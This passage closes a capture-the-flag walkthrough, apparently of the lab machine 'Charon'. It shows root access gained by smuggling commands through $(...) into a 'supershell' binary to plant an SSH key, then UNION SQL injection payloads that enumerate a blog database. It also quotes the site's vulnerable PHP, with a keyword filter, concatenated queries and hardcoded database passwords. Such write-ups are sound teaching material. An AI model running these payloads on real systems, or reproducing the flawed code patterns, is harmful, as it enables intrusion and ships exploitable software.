uid=0(root) gid=1001(freeeze) groups=1001(freeeze)


To get a better shell, I can use two commands to write an SSH key into root’s authorized_keys file:

decoder@charon:/dev/shm$ supershell '/bin/ls $(mkdir -p /root/.ssh)'
Supershell (very beta)
++[/bin/ls $(mkdir -p /root/.ssh)]

Now, I can’t use > to direct output. But I can write it to a file here, and then move it:

decoder@charon:/dev/shm$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > authorized_keys
decoder@charon:/dev/shm$ supershell '/bin/ls $(cp authorized_keys /root/.ssh/)'
Supershell (very beta)
++[/bin/ls $(cp authorized_keys /root/.ssh/)]

Now SSH login works:

oxdf@parrot$ ssh -i ~/keys/ed25519_gen root@
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-81-generic x86_64)

 * Documentation:
 * Management:
 * Support:

34 packages can be updated.
23 updates are security updates.

Last login: Sun Dec 24 16:39:47 2017

Beyond Root

Rabbithole SQLI


There’s another SQL injection in the /singlepost.php?id= path. Posts 10, 11, and 12 exist, but if I give it id=223, it returns an empty post:


However, if I use UNION with five columns (id=223 UNION select 1,2,3,4,5;-- -), it works:


I can take the same approach I did above, starting by listing databases (id=223 UNION select 1,2,3,group_concat(schema_name),5 from information_schema.schemata;-- -):


While both could access information_schema, this freeeze table is new, and this one can’t access supercms. What tables does it have (id=223 UNION select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema='freeeze';-- -):


In that table, I can list the columns (id=223 UNION select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name='blog';-- -):


The contents of this table seem to just have the posts I can see on the site (id=223 UNION select 1,2,3,group_concat(concat(id,':',date,':',author,':',title)),5 from blog;-- -):


Why Different

With a shell, I can go back and look at what actually is going on in the source. The pages for the main site (to include the blog) are in /var/www/html/freeeze:

root@charon:/var/www/html/freeeze# ls
about.html  blog.html  cmsdata  contact.html  css  fonts  images  include  index.html  js  product.html  singlepost.php

At the top of singlepost.php, it loads include/__config.php and then connects to the database:

include ('include/__config.php');
if(stripos($_SERVER['HTTP_USER_AGENT'],"SQLMAP") !== false)
 echo "Error";

$con=new mysqli($dbhost, $dbuser, $dbpass);

$dbhost, $dbuser, and $dbpass are defined in __config.php:


I can connect as this user myself, and verify that they only have access to the freeeze table:

root@charon:/var/www/html/freeeze# mysql -u freeeze -pfr2424z freeeze
mysql> show databases;
| Database           |
| information_schema |
| freeeze            |
2 rows in set (0.00 sec)

I’ll do the same thing for the CMS side. The files are in /var/www/html/freeeze/cmsdata:

root@charon:/var/www/html/freeeze/cmsdata# ls
css  forgot.php  images  include  js  login.php  menu.php  scripts  update_page.php  upload.php

At the top of forgot.php, it does the same thing, loading from includes/__config.php, and then connecting to the database:


        if (isset($_POST['email']))  {
                include ('include/__config.php');
                $con=new mysqli($dbhost, $dbuser, $dbpass);

This __config.php has a different user:


And as expected, this user can see a different table:

root@charon:/var/www/html/freeeze/cmsdata# mysql -u supercms -psx2424 supercms
mysql> show databases;
| Database           |
| information_schema |
| supercms           |
2 rows in set (0.00 sec)


I noticed while trying to union inject that I got back just a 200 response that said “Error”. In the source, it’s a very simple filter. I thought it might be interesting to break down the function.

If the POST parameter email is set, it enters this part of the code, and connects to the database (otherwise it just displays the form):

if (isset($_POST['email']))  {
    include ('include/__config.php');
    $con=new mysqli($dbhost, $dbuser, $dbpass);
    $user= $_POST['email'];

Next, it checks for the strings “UNION”, “INFORMATION_SCHEMA”, and “union”, and returns “Error” if found:

    if(strpos($user,"UNION") || strpos($user,"INFORMATION_SCHEMA") || strpos($user,"union") )
        echo "Error";

The bypass was so easy because it was literally just looking for these strings. Next, it makes sure that the user has both a @ and a .:

    if(strpos($user,"@") === false || strpos($user,".") ===false)
        $errmsg ="Incorrect format";

Now it does the DB search. If there’s no return, it sets the $errmsg to “Error in Database!”:

        $q="SELECT *  FROM operators WHERE email='" . $user . "'";
        $rs = $con->query($q);
            $errmsg="Error in Database!";

Otherwise it checks if the numbers of rows is one. If so, it gets the data, and again verifies that both @ and . are in the email field. If so, it sets the message to include the email:

            #echo "<br>rows: " . mysql_num_rows($rs);
            if ($rs->num_rows === 1)
                $row = $rs->fetch_assoc();
                $email= $row['email'];
                if(strpos($email,"@") === false || strpos($email,".") ===false)
                    $errmsg ="Incorrect format";


                    $errmsg="Email sent to: " . $row['email'] . "=>" . $row['__username_'];

                $errmsg="User not found with that email!";